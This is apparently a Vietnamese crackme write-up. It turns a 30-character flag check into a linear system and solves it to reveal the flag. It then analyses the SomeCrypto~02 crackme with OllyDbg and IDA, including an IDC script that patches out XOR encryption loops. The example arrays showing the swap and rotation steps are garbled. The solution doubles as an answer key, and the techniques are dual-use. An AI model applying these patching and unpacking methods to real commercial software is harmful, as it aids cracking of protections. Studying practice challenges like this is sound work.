     + enteredString[17]
     + enteredString[21]
     + enteredString[10]
     + enteredString[7]
     + enteredString[2]
     + enteredString[29]
     + enteredString[11]
     + enteredString[3]
     + enteredString[25]
     + enteredString[16]
     + 3 * (enteredString[22] + enteredString[14])
     + 2
     * (enteredString[0]
      + enteredString[18]
      + enteredString[15]
      + enteredString[1]
      + enteredString[19]
      + enteredString[8]) == 2825 )
    ++iResult;
  if ( enteredString[17] + enteredString[9] + enteredString[2] + enteredString[3] + enteredString[5] == 508 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[14]
     + enteredString[24]
     + enteredString[21]
     + enteredString[12]
     + enteredString[9]
     + enteredString[1]
     + enteredString[19]
     + enteredString[29]
     + enteredString[28]
     + 3 * (enteredString[18] + enteredString[13])
     + 2 * enteredString[16] == 1861 )
    ++iResult;
  if ( enteredString[20]
     + enteredString[15]
     + enteredString[29]
     + enteredString[11]
     + enteredString[27]
     + enteredString[16]
     + enteredString[13] == 673 )
    ++iResult;
  if ( enteredString[23]
     + enteredString[24]
     + enteredString[17]
     + enteredString[21]
     + enteredString[18]
     + enteredString[9]
     + enteredString[15]
     + enteredString[4]
     + enteredString[19]
     + enteredString[3]
     + enteredString[16]
     + 3 * enteredString[29]
     + 2 * (enteredString[11] + enteredString[27] + enteredString[28] + 2 * enteredString[5]) == 2269 )
    ++iResult;
  if ( enteredString[22] + enteredString[6] + enteredString[25] + enteredString[8] == 308 )
    ++iResult;
  if ( enteredString[24]
     + enteredString[12]
     + enteredString[7]
     + enteredString[15]
     + enteredString[6]
     + enteredString[5]
     + enteredString[8]
     + enteredString[16]
     + 2 * enteredString[9] == 1012 )
    ++iResult;
  if ( enteredString[14] + enteredString[16] == 216 )
    ++iResult;
  if ( enteredString[0]
     + enteredString[24]
     + enteredString[17]
     + enteredString[21]
     + enteredString[12]
     + enteredString[7]
     + enteredString[9]
     + enteredString[6]
     + enteredString[1]
     + enteredString[27]
     + enteredString[16]
     + enteredString[13]
     + 3 * enteredString[8]
     + 2 * (enteredString[26] + enteredString[14] + enteredString[4] + enteredString[2] + enteredString[28]) == 2237 )
    ++iResult;
  if ( enteredString[23]
     + enteredString[20]
     + enteredString[15]
     + enteredString[4]
     + enteredString[6]
     + enteredString[1]
     + enteredString[27]
     + 3 * enteredString[10]
     + 2 * enteredString[12] == 985 )
    ++iResult;
  str_Result_Msg[5] = ' ';
  if ( iResult == 0x64 )
  {
    str_Result_Msg[0] = 'T';
    str_Result_Msg[1] = 'h';
    str_Result_Msg[2] = 'a';
    str_Result_Msg[3] = 't';
    str_Result_Msg[4] = 's';
    str_Result_Msg[6] = 'i';
    str_Result_Msg[7] = 't';
    str_Result_Msg[8] = '!';
    str_Result_Msg[9] = '!';
    str_Result_Msg[10] = '\0';
    puts(str_Result_Msg);
  }
  else
  {
    str_Result_Msg[0] = 'N';
    str_Result_Msg[1] = 'o';
    str_Result_Msg[2] = 'p';
    str_Result_Msg[3] = 'e';
    str_Result_Msg[4] = ',';
    str_Result_Msg[6] = 'T';
    str_Result_Msg[7] = 'r';
    str_Result_Msg[8] = 'y';
    str_Result_Msg[9] = ' ';
    str_Result_Msg[10] = 'a';
    str_Result_Msg[11] = 'g';
    str_Result_Msg[12] = 'a';
    str_Result_Msg[13] = 'i';
    str_Result_Msg[14] = 'n';
    str_Result_Msg[15] = ' ';
    str_Result_Msg[16] = ';';
    str_Result_Msg[17] = ')';
    str_Result_Msg[18] = '\0';
    puts(str_Result_Msg);
  }
  ((void (__stdcall *)(signed int))addr_Sleep)(750);
  return 0;
}

Để trích xuất ra các vùng code tính toán mà không bị lẫn các đoạn code encrypt/decrypt, thực hiện script sau để loại bỏ:

/* IDC Script: this script used to finds both encryption and decryption loops and just nops them out*/
//declare local variables
auto ea;
auto addr;
auto size;
auto xorval;
auto x;
auto b;
 
ea = MinEA();
ea = FindBinary(ea, SEARCH_DOWN , "60 E8 00 00 00 00 5E 81");
while (ea != BADADDR)
{
   for (x=0;x<0x1C;x++)
   {
      PatchByte(ea+x, 0x90);
   }
   MakeUnknown(ea, 0x1C, 0);  //undefine the specified
   MakeCode(ea);  //convert to instruction
   ea = FindBinary(ea +1, SEARCH_DOWN , "60 E8 00 00 00 00 5E 81");
}   

Script này được chỉnh lại từ script trên, đơn giản là thực hiện tìm kiếm cả encryption và decryption loops và nop toàn bộ code liên quan. Sau đó, buộc IDA thực hiện phân tích lại vùng code đã patched.

2015-11-05_12-08-17Sau khi Script thực hiện xong, mã giả có được bằng HexRays sẽ như sau:

2015-11-05_12-16-22Sau khi có được thông tin toàn bộ mã giả tử HexRays, sử dụng trình Editor (ở đây tôi dùng Notepad++) để thực hiện lấy toàn bộ thông tin của các vùng code tính toán:

  • Loại bỏ toàn bộ dấu cách thừa bằng cách thay thế 2 dấu cách (”  “) bằng 1 dấu cách (” “). Lặp lại cho đến khi hết thì thôi. Ta có được kết quả tương tự như sau:

2015-11-05_15-48-02

  • Đặt mỗi phép tính trên một dòng bằng cách thay thế “\r\n +” (new line,space,plus) với ” +” (space,plus) và thay thế “\r\n *” (new line,space,star) bằng ” *” (space,star). Ta có được tương tự như sau:

2015-11-05_15-54-01

  • Loại bỏ các lệnh “if”. Loại bỏ các lệnh “++iResult;”. Thay thế “==” với “=”. Kết quả như sau:

2015-11-05_15-59-46

  • Cuối cùng, đổi tên biến “enteredString” thành biến “z” và loại bỏ các “[”“]”, “( ”“ )”. Cuối cùng có được code như sau:
 z0 + z22 + z26 + z20 + z10 + z7 + 3 * z14 + 2 * (z23 + z24 + z17 + z21 + z12 + z18) = 2024
 z0 + z22 + z23 + z26 + z14 + z24 + z17 + z12 + z10 + z15 + z4 + z2 + z6 + z1 + z29 + z11 + 2 * (z9 + z19) = 1927 
 z14 + z10 = 148 
 z0 + z14 + z10 + z11 + z3 + z25 + 2 * (z22 + z27) = 741 
 z24 + z29 = 229 
 z0 + z26 + z20 + z21 + z12 + z7 + z9 + z15 + z4 + z1 + z29 + z11 + z3 + z27 + z25 + z5 + z8 + z16 + 2 * (z6 + z19) = 2133 
 z14 + z17 + z7 + z15 + z11 + z8 = 619 
 z0 + z22 + z26 + z21 + z12 + z7 + z11 + z16 + z28 + 2 * z23 = 996 
 z24 + z17 + z6 + z1 + z29 + 2 * z21 = 717 
 z24 + z21 + z12 + z18 + z6 + z29 + z11 + z8 + z16 + 3 * z26 + 2 * (z0 + z17 + z2 + z19 + z5 + z28 + z13) = 2308 
 z20 + z17 + z21 + z7 + z9 + z1 + z19 + z11 + z27 + z8 + z28 + 3 * (z14 + z3) + 2 * (z0 + z23 + z18 + z6) = 2347 
 z0 + z26 + z20 + z24 + z10 + z9 + z6 + z11 + z25 + 2 * (z23 + z28) = 1041 
 z23 + z6 + z27 = 184 
 z23 + z18 + z9 + z19 + z11 + z25 + z5 + z16 + 2 * z1 = 1076 
 z0 + z22 + z26 + z20 + z24 + z10 + z7 + z4 + z2 + z6 + z19 + z11 = 1040 
 z0 + z22 + z23 + z14 + z18 + z10 + z4 + z6 + z1 + z19 + z11 + z8 + z16 + z28 + 5 * z21 + 3 * z13 + 2 * (z26 + z24) = 2393 
 z0 + z23 + z26 + z24 + z9 + z15 + z29 + z11 + z25 = 901 
 z0 + z22 + z18 + z10 + z7 + z9 + z29 + z11 + z28 + 3 * z26 = 893 
 z18 + z11 + z3 = 308 
 z22 + z14 + z20 + z12 + z10 + z4 + z2 + z19 + z29 + z5 + z8 + z13 + 2 * z18 = 1350 
 z0 + z26 + z14 + z20 + z17 + z7 + z9 + z1 + z19 + z5 + z8 + 2 * (z15 + z29 + z28) = 1580 
 z14 + z20 + z24 + z12 + z18 + z10 + z15 + z6 + z29 + z3 + z25 + 3 * z21 + 2 * (z0 + z7 + z4) = 2075 
 z23 + z26 + z24 + z17 + z21 + z18 + z10 + z6 + z11 + z5 + z8 + z13 + 3 * z22 + 2 * (z7 + z9 + z27) = 1721 
 z11 + z28 = 141 
 z26 + z24 + z17 + z12 + z7 + z4 + z29 + z5 + z16 + z13 + 2 * (z22 + z15 + z25) = 1550 
 z0 + z22 + z20 + z17 + z18 + z15 + z2 + z1 + z19 + z27 + z5 + z16 + z13 + 2 * (z14 + z24 + z10 + z7 + z6 + z11 + z25) = 2484 
 z22 + z17 + z10 + z5 + z16 + 2 * (z20 + z24) = 804 
 z7 + z4 + z2 + z27 + z25 + z5 + z8 + z16 + z13 + 3 * (z22 + z24 + z9) + 2 * (z0 + z1 + z28 + 2 * z10) = 2369 
 z23 + z17 + z12 + z27 + z16 + 2 * z9 = 704 
 z0 + z26 + z24 + z10 + z7 + z4 + z6 + z1 + z29 + z11 + z3 + z27 + z5 + z8 + z13 + 3 * z20 + 2 * (z22 + z14 + z15) = 2110 
 z26 + z14 + z21 + z18 + z9 + z15 + z2 + z29 + z3 + z5 = 968 
 z24 + z12 + z4 + z1 + z19 + z3 + z16 + 2 * (z26 + z21 + z6 + z5) = 1356 
 z0 + z22 + z21 + z9 + z15 + z29 + z3 + z5 + 3 * z23 + 2 * (z12 + z7 + z19 + z27) = 1869 
 z26 + z14 + z18 + z7 + z9 + z2 + z1 + z3 + z5 + z8 + z28 + 2 * (z0 + z20 + z17 + z21 + z15 + z6 + z19 + z25 + z13) = 2769 
 z22 + z23 + z10 + z15 + z19 + z11 + z8 + z28 + 2 * (z0 + z24 + z1 + z3 + z27 + 2 * (z26 + z7)) = 2147 
 z23 + z14 + z20 + z24 + z17 + z19 + z11 + z3 + z25 + z13 + 2 * (z0 + z21 + z9 + z2 + z6 + z1 + z16) = 2450 
 z0 + z26 + z24 + z17 + z21 + z18 + z10 + z9 + z19 + z27 + z25 + 3 * (z11 + z13) + 2 * (z12 + z28 + 2 * (z1 + z3)) = 2755 
 z0 + z23 + z26 + z20 + z21 + z12 + z7 + z9 + z2 + z1 + z11 + z5 + z16 + 3 * (z6 + z25) + 2 * (z24 + z18 + z10 + z15 + z28) = 2561 
 z21 + z4 + z19 + z5 + 2 * z14 = 642 
 z20 + z24 + z17 + z4 + z27 + z25 + z8 + z16 + 3 * z19 + 2 * (z26 + z14 + z7 + z13 + 2 * z29) = 2336 
 z20 + z24 + z12 + z18 + z10 + 3 * z3 + 2 * (z17 + z21 + z9 + z15 + z2 + z1 + z19 + z29 + z11 + z8) = 2925 
 z23 + z20 + z24 + z10 + z15 + z6 + z19 + z29 + z3 + z8 + z16 + z28 + 3 * z7 + 2 * (z14 + z17 + z12 + z9 + z1 + z25 + z13) = 2956 
 z22 + z26 + z24 + z7 + z15 + z2 + z11 + z3 + z25 + z5 + z13 + 2 * (z20 + z21 + z12 + z18 + z8) = 2050 
 z0 + z9 + z11 + z25 + z5 + 2 * z22 = 628 
 z0 + z26 + z20 + z12 + z2 + z6 + z29 + z11 + z3 + z25 + z5 + z16 + 2 * (z22 + z9 + z19 + 2 * z28) = 1842 
 z24 + z10 + z9 + z11 + z16 = 491 
 z22 + z23 + z24 + z17 + z12 + z6 + z29 + z27 + z5 + z16 + z28 + 3 * z4 + 2 * (z21 + z15 + z2 + z1 + z3 + z25) = 2557 
 z26 + z7 + z27 + 3 * z2 = 474 
 z23 + z14 + z21 + z12 + z7 + z15 + z2 + z11 + z3 + z8 + 2 * (z18 + z6 + z27 + z28) = 1472 
 z17 + z7 + z2 + z25 + z5 + z13 + 3 * z28 = 723 
 z0 + z22 + z23 + z14 + z24 + z21 + z12 + z10 + z7 + z15 + z19 + z29 + z3 + z16 + 3 * (z6 + z1) + 2 * (z18 + z25) = 2304 
 z20 + z24 + z17 + z21 + z10 + z15 + z2 + z6 + z1 + z19 + z3 + z25 + z8 + z28 + 3 * z12 + 2 * (z22 + z26 + z18 + z4) = 2234 
 z22 + z12 + z10 + z4 + z29 = 463 
 z21 + z18 = 211 
 z0 + z22 + z23 + z21 + z18 + z7 + z4 + z11 + z8 + z28 + z13 + 3 * z12 + 2 * (z26 + z9 + z29 + z27) = 2008 
 z20 + z12 + z18 + z15 + z29 + z5 + z28 + 3 * z10 + 2 * (z14 + z25) = 1228 
 z0 + z24 + z21 + z9 + z4 + z2 + z1 + z11 + z3 + z5 + z8 + z28 = 1191 
 z0 + z14 + z20 + z24 + z15 + z4 + z1 + z5 + z16 + 3 * z29 + 2 * (z2 + z8) = 1691 
 z0 + z23 + z14 + z17 + z12 + z10 + z9 + z15 + z19 + z3 + 2 * (z21 + z7 + z1 + z27 + z8 + 2 * z26) = 2070 
 z0 + z17 + z18 + z10 + z2 + z19 + z11 + z28 + 3 * (z14 + z20 + z1) + 2 * (z26 + z7 + z4 + z3 + z25 + z5) = 2776 
 z20 + z10 + z2 + z1 + z19 + z11 + z3 + z27 + z16 + z28 + 3 * (z14 + z12) + 2 * (z0 + z24 + z4) = 2169 
 z22 + z7 + z29 + z11 + z27 + z16 + z28 + z13 + 2 * (z23 + z6 + z25 + z5) = 1394 
 z0 + z22 + z14 + z24 + z21 + z18 + z4 + z6 + z29 + z3 + 3 * z2 + 2 * (z17 + 2 * z25) = 1928 
 z0 + z23 + z24 + z25 + z5 = 514 
 z26 + z17 + z21 + z19 + z25 + z16 + z13 = 700 
 z0 + z26 + z14 + z17 + z18 + z15 + z2 + z19 + z27 + z25 + z13 + 2 * z20 = 1184 
 z0 + z23 + z20 + z24 + z12 + z15 + z4 + z29 + z3 + z5 + 2 * z11 = 1273 
 z0 + z26 + z14 + z21 + z12 + z4 + z6 + z1 + z19 + z29 + z5 + z16 = 1192 
 z22 + z21 + z12 + z15 + z11 + z8 + z28 + z13 + 2 * z14 = 913 
 z24 + z18 + z10 + z25 + 2 * z20 = 555 
 z26 + z1 + z16 = 257 
 z12 + z18 + z7 + z9 + z15 + z4 + z3 + z13 + 2 * (z22 + z14 + z10 + z19 + z27) = 1561 
 z20 + z17 + z18 + z6 + z1 + z19 + z29 + z3 + z13 + 2 * z11 = 1113 
 z20 + z24 + z10 + z15 + z6 + z13 + 2 * z22 = 589 
 z23 + z26 + z14 + z17 + z21 + z18 + z10 + z3 + z25 + 3 * (z4 + z19 + z27) + 2 * (z22 + z15 + z11) = 2138 
 z15 + z2 + z8 = 287 
 z15 + z4 + z27 + z8 + z28 + 3 * z6 + 2 * z23 = 729 
 z0 + z2 = 199 
 z0 + z23 + z17 + z10 + z6 + z19 + z3 + z25 + z8 + 3 * (z21 + z1 + z11) + 2 * (z22 + z14 + z12 + z29 + z5) = 2787 
 z21 + z10 + z7 + z9 + z4 + z19 + z11 + z3 + z28 + 2 * z2 = 1071 
 z14 + z20 + z18 + z15 + z6 + z11 + z3 + z25 + z8 + z13 = 958 
 z10 + z4 + z16 + 2 * z8 = 477 
 z0 + z17 + z9 + z15 + z4 + z3 + z27 + z8 + 3 * z28 + 2 * (z14 + z20 + z7 + z2 + z6 + z16) = 2015 
 z0 + z22 + z26 + z14 + z20 + z10 + z7 + z15 + z1 + z27 + z28 + 2 * (z21 + z18 + z2 + z29) = 1679 
 z0 + z22 + z20 + z24 + z7 + z15 + z19 + z11 + z3 + z27 + z5 + z16 + z13 + 3 * z14 + 2 * (z12 + z10 + z4 + z25 + z28) = 2404 
 z12 + z18 + z1 + z29 + z8 + z28 + 3 * z13 + 2 * (z0 + z21 + z10 + z15 + z4 + z6 + z19 + z11 + z27) = 2453 
 z0 + z26 + z14 + z20 + z7 + z9 + z1 + z29 + z11 + z27 + z5 + z16 + z13 + 2 * (z17 + z3 + z28) = 1722 
 z12 + z18 + z7 + z15 + z4 + z2 + z6 + z1 + 3 * (z5 + z13) + 2 * (z22 + z26 + z10 + z3 + z27 + z28) = 1971 
 z11 + z28 = 141 
 z22 + z14 + z17 + z10 + z1 + z27 + 3 * (z20 + z7) + 2 * (z18 + z4 + z19 + z25 + z13) = 2184 
 z24 + z17 + z21 + z10 + z7 + z2 + z29 + z11 + z3 + z25 + z16 + 3 * (z22 + z14) + 2 * (z0 + z18 + z15 + z1 + z19 + z8) = 2825 
 z17 + z9 + z2 + z3 + z5 = 508 
 z0 + z14 + z24 + z21 + z12 + z9 + z1 + z19 + z29 + z28 + 3 * (z18 + z13) + 2 * z16 = 1861 
 z20 + z15 + z29 + z11 + z27 + z16 + z13 = 673 
 z23 + z24 + z17 + z21 + z18 + z9 + z15 + z4 + z19 + z3 + z16 + 3 * z29 + 2 * (z11 + z27 + z28 + 2 * z5) = 2269 
 z22 + z6 + z25 + z8 = 308 
 z24 + z12 + z7 + z15 + z6 + z5 + z8 + z16 + 2 * z9 = 1012 
 z14 + z16 = 216 
 z0 + z24 + z17 + z21 + z12 + z7 + z9 + z6 + z1 + z27 + z16 + z13 + 3 * z8 + 2 * (z26 + z14 + z4 + z2 + z28) = 2237 
 z23 + z20 + z15 + z4 + z6 + z1 + z27 + 3 * z10 + 2 * z12 = 985 

Với một hệ phương trình tuyến tính rối rắm có được như trên, nghĩ ngồi để giải được cái đồng phương trình này chắc chết sexy_girl. May mắn thay có một site hỗ trợ giải phương trình online tại: http://wims.unice.fr/wims/en_tool~linear~linsolver.en.html. Truy cập vào trang Web và paste toàn bộ đoạn code trên vào, sau đó nhấn “Solve the problem”:

2015-11-05_16-14-09Kết quả, có được như sautoo_sad:

2015-11-05_16-16-27Cụ thể:

{ z0 = 102, z1 = 108, z10 = 48, z11 = 108, z12 = 118, z13 = 101, z14 = 100, z15 = 95, z16 = 116, z17 = 104, z18 = 97, z19 = 116, z2 = 97, z20 = 95, z21 = 114, z22 = 49, z23 = 103, z24 = 104, z25 = 116, z26 = 33, z27 = 33, z28 = 33, z29 = 125, z3 = 103, z4 = 123, z5 = 89, z6 = 48, z7 = 117, z8 = 95, z9 = 115 }.

Chuyển đổi toàn bộ kết quả trên trên thành kí tự tương ứng sẽ có được flag cần tìm. Code bằng Python:

asscii=[102, 108, 97, 103, 123, 89, 48, 117, 95, 115, 48, 108, 118, 101, 100, 95, 116, 104, 97, 116, 95, 114, 49, 103, 104, 116, 33, 33, 33, 125]
flag = "".join([chr(c) for c in asscii])

print flag

Kết quả có được Flag: flag{Y0u_s0lved_that_r1ght!!!}.Kiểm tra kết quả:

2015-11-05_16-55-38End..


Tải crackme tại: http://crackmes.de/users/san01suke/somecrypto02/

Bài viết tham khảo write-up của Johannesbade , tại : http://johannesbader.ch/2014/07/crackmes-de-san01sukes-somecrypto02/

1.Patch file để lấy full code

Giao diện của crackme khi thực thi tương tự như SomeCrypto~01:
01

Load crackme vào OllyDBG. Tại EP có được code như sau:
02

Quan sát, nhận thấy có hai điểm khá thú vị:

  • Vùng code trước 0x4014D3 không thể disassembly được và trông giống như đã bị làm rối (obfuscated).
  • Vùng code sau EP rõ ràng sẽ làm thay đổi code của crackme. Bắt đầu tại vị trí 0x401000, lệnh XOR được sử dụng để XOR chính xác 0x4D3 bytes (lưu tại ecx) với giá trị 0x20h (lưu tại al).

Vùng code tại 0x401000 trước khi thay đổi:

03

Nhấn F8 để trace thử một vài lần sẽ thấy được các bytes đã được thay đổi:

04

Để có đầy đủ các byte sau khi XOR, đặt BP tại lệnh 004014EF   . FFD0       call   eax, sau đó nhấn F9, break tại BP. Lúc này đã có toàn bộ code sau khi XOR, nhưng OllyDbg không tự động phân tích lại và vẫn hiển thị các bytes. Nhấn Ctrl + A để phân tích lại code sẽ có được đầy đủ thông tin:

05

Lưu lại bản patched của crackme sau khi các bytes từ 0x401000 tới 0x4014D2 đã được XOR với 20h (Dump file và sửa lại EP của file mới thành 0x14B0). Sau đó, sử dụng IDA Pro để load file mới:

06

2. Phân tích sub_4011E0 – lần 1

Mở Subviews Strings (Shift + F12), quan sát thấy có chuỗi “Success”:

07

Tìm tới đoạn code liên quan tới chuỗi này:

08

Theo đoạn code trong hình, ta sẽ nhận được thông báo “Success” nếu sub_4011E0 trả về một giá trị khác 0 tại thanh ghi eax. Tiến hành phân tích sub_4011E0:

09

Theo thông tin cung cấp khi debug với OllyDBG, ta thấy rằng thanh ghi edi sẽ chứa chuỗi szSerial mà ta nhập vào:

10

Quan sát đoạn mã tại loc_401296:

11

Với thông tin có được, chuyển sang mã giả ta như sau:

serial = edi
IF strlen(serial) == 0 THEN
    RETURN 0 // loc_401296
END

Nếu có nhập serial (serial không phải là chuỗi rỗng) thì đoạn mã tiếp theo được thực hiện:

12

Đoạn mã trên thực hiện tính toán chiều dài của serial và trả về 0 nếu không phải là 7. Ta có mã giả như sau:

serial_length = strlen(serial)
IF serial_length != 7 THEN
    RETURN 0 // loc_401296
END

Nếu chiều dài nhập vào lớn hơn 7, đoạn mã tiếp theo sẽ thực hiện lời gọi tới một subroutine khác:

13

eax là một biến cục bộ. Vùng bộ nhớ ebp+arg_0 = ebp+8 trỏ đến nội dung của Name textbox, kiểm tra bằng OllyDbg ta có được:

14

var_1C là biến mà chưa biết kiểu, mã giả có được như sau:

sub_401000(&var_1C, szName)

3. Phân tích sub_401000

Chuyển tới sub_401000, toàn bộ code tại đây như sau:

.text:00401000 ; =============== S U B R O U T I N E =======================================
.text:00401000
.text:00401000
.text:00401000 ; int __usercall sub_401000@<eax>(int mapping@<eax>, int szName@<edx>)
.text:00401000 sub_401000      proc near               ; CODE XREF: sub_4011E0+26p
.text:00401000                 mov     dword ptr [eax], 0 ; mapping[0] = 0x0
.text:00401006                 mov     dword ptr [eax+4], 1 ; mapping[4] = 0x1
.text:0040100D                 mov     dword ptr [eax+8], 2 ; mapping[8] = 0x2
.text:00401014                 mov     dword ptr [eax+0Ch], 3 ; mapping[12] = 0x3
.text:0040101B                 mov     dword ptr [eax+10h], 4 ; mapping[16] = 0x4
.text:00401022                 mov     dword ptr [eax+14h], 5 ; mapping[20] = 0x5
.text:00401029                 mov     dword ptr [eax+18h], 6 ; mapping[24] = 0x6
.text:00401030                 mov     cl, [edx]
.text:00401032                 test    cl, cl          ; if szName[i] is null
.text:00401034                 jz      short locret_40108C ; then exit sub
.text:00401036                 push    esi             ; save esi
.text:00401037                 jmp     short top_Loop
.text:00401037 ; ---------------------------------------------------------------------------
.text:00401039                 align 10h
.text:00401040
.text:00401040 top_Loop:                               ; CODE XREF: sub_401000+37j
.text:00401040                                         ; sub_401000+89j
.text:00401040                 movsx   ecx, cl         ; Temp = szName[i]
.text:00401043                 and     ecx, 80000001h  ; Temp &= 0x80000001; set SF = 1 if result is 80000000h
.text:00401049                 jns     short swap_mapping ; if Temp != 0 then swap(mapping[0], mapping[4])
.text:0040104B                 dec     ecx
.text:0040104C                 or      ecx, 0FFFFFFFEh
.text:0040104F                 inc     ecx
.text:00401050
.text:00401050 swap_mapping:                           ; CODE XREF: sub_401000+49j
.text:00401050                 jz      short rotate_left ; if Temp = 0 then rotate_left_mapping
.text:00401052                 mov     esi, [eax+4]    ; \
.text:00401055                 mov     ecx, [eax]      ; |<- swap(mapping[0], mapping[4])
.text:00401057                 mov     [eax], esi      ; |
.text:00401059                 mov     [eax+4], ecx    ; /
.text:0040105C
.text:0040105C rotate_left:                            ; CODE XREF: sub_401000:swap_mappingj
.text:0040105C                 mov     ecx, [eax]      ; ecx = mapping[0]
.text:0040105E                 mov     esi, [eax+4]
.text:00401061                 mov     [eax], esi      ; mapping[0] = mapping[4]
.text:00401063                 mov     esi, [eax+8]
.text:00401066                 mov     [eax+4], esi    ; mapping[4] = mapping[8]
.text:00401069                 mov     esi, [eax+0Ch]
.text:0040106C                 mov     [eax+8], esi    ; mapping[8] = mapping[12]
.text:0040106F                 mov     esi, [eax+10h]
.text:00401072                 mov     [eax+0Ch], esi  ; mapping[12] = mapping[16]
.text:00401075                 mov     esi, [eax+14h]
.text:00401078                 mov     [eax+10h], esi  ; mapping[16] = mapping[20]
.text:0040107B                 mov     esi, [eax+18h]
.text:0040107E                 mov     [eax+14h], esi  ; mapping[20] = mapping[24]
.text:00401081                 inc     edx
.text:00401082                 mov     [eax+18h], ecx  ; mapping[24] = ecx
.text:00401085                 mov     cl, [edx]       ; cl = next char of szName
.text:00401087                 test    cl, cl          ; if not null
.text:00401089                 jnz     short top_Loop  ; continue Loop
.text:0040108B                 pop     esi             ; restore esi
.text:0040108C
.text:0040108C locret_40108C:                          ; CODE XREF: sub_401000+34j
.text:0040108C                 retn
.text:0040108C sub_401000      endp
.text:0040108C

Phân tích subroutine từ đầu tới cuối có được thông tin như sau:

  • Khởi tạo một mảng, tạm đặt tên là mapping[] và gán các giá trị cho mảng: {0,1,2,3,4,5,6}
  • Kiểm tra từng kí tự trong chuỗi szName nhập vào theo biểu thức: Temp &= 0x80000001 (với Temp = szName[i])
    • Nếu Temp != 0, thực hiện đổi vị trí hai giá trị đầu tiên của mảng. Ví dụ, sau khi đổi sẽ là {0,1,2,3,4,5,6} -> {0,1,2,3,4,5,6}
    • Nếu Temp = 0, thực hiện việc gán lại các giá trị trong mảng theo kiểu dịch trái quay vòng. Ví dụ, sau khi thực hiện sẽ có {0,1,2,3,4,5,6} -> {0,1,2,3,4,5,6}
  • Lặp lại cho đến khi hết chuỗi szName, kết quả trả về là mảng mapping[] sau khi thực hiện các phép hoán đối và gán lại.

Mã giả của sub_401000 có được như sau:

FUNCTION sub_401000(mapping<var_1C>, szName)
    mapping = {0,1,2,3,4,5,6} // in eax = &var_1C
    FOR character IN szName DO
        IF character % 2 != 0 DO
            swap(mapping[0], mapping[1])
        ENDIF
        circular_left_shift(mapping)
    ENDFOR
    RETURN mapping
END

4. Phân tích sub_4011E0 – lần 2

Phân tích xong sub_401000, quay trở lại sub_4011E0 để phân tích tiếp các lệnh bên dưới:

15

Đoạn code này đơn giản thực hiện việc copy chuỗi mặc định của crackme tại địa chỉ byte_403010 (hardcoded_str) tới byte_403140 (copy_hardcoded_str). Sau đó kiểm tra xem chuỗi sau khi copy có null hay không? (Điều kiện này hơi thừa vì đã copy vào rồi thì null thế nào được 🙂 ). Mã giả của đoạn code trên như sau:

STRCPY(byte_403140, byte_403010) // copy string byte_403010 to byte_403140
IF byte_403140 == NULL THEN
    GOTO loc_40123A \\ should never happen
ENDIF

Chuỗi hardcoded ban đầu của crackme tại địa chỉ byte_403010 như hình bên dưới:

16

Tiếp theo là một vòng lặp nhỏ khác: